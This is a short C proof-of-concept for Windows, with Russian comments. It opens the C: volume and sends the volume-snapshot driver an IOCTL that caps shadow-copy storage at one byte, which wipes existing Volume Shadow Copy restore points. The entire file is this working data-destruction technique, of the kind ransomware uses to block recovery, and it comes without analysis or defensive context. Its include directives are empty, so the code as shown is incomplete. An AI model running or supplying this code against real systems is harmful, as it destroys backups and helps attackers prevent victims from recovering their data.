#include 
#include 


typedef struct _DIFF_AREA_SIZES
{
	LONGLONG UsedSpace; //значение, используемое только для запроса
	LONGLONG AllocatedSpace; //значение, используемое только для запроса
	LONGLONG MaximumSpace; //0 означает НЕОГРАНИЧЕННЫЙ
} DIFF_AREA_SIZES, *PDIFF_AREA_SIZES;

#define IOCTL_VOLSNAP_SET_MAX_DIFF_AREA_SIZE 0x53c028 //тип=0x53, функция=0xc, метод=METHOD_BUFFERED, доступ=(FILE_READ_ACCESS | FILE_WRITE_ACCESS)

DWORD dwBRet;
DIFF_AREA_SIZES diffAreaSize;
TCHAR* tszVolumePath = _T("\\\\.\\C:"); //жестко запрограммировано, но вполне достаточно для PoC
HANDLE hVolume;

int _tmain (int argc, _TCHAR ** argv)
{
	diffAreaSize.UsedSpace = 0; // все равно не используется
	diffAreaSize.AllocatedSpace = 0; // все равно не используется
	diffAreaSize.MaximumSpace = 1; // устанавливаем 1 байт для хранения моментальных снимков

	_tprintf(_T("Calling CreateFile()...\r\n"));

	hVolume = CreateFile(
		tszVolumePath,
		FILE_GENERIC_READ | FILE_GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL
	);

	_tprintf(TEXT("CreateFile() returned %i\r\n"), GetLastError());
	if (INVALID_HANDLE_VALUE == hVolume)
	{
		return GetLastError();
	}

	_tprintf(_T("Calling DeviceIoControl()...\r\n"));

	DeviceIoControl(
		hVolume,
		IOCTL_VOLSNAP_SET_MAX_DIFF_AREA_SIZE,
		&diffAreaSize,
		sizeof(diffAreaSize),
		NULL,
		0,
		&dwBRet,
		NULL
	);
	_tprintf(_T("DeviceIoControl() returned %i\r\n"), GetLastError());
	CloseHandle(hVolume);
	return GetLastError();
}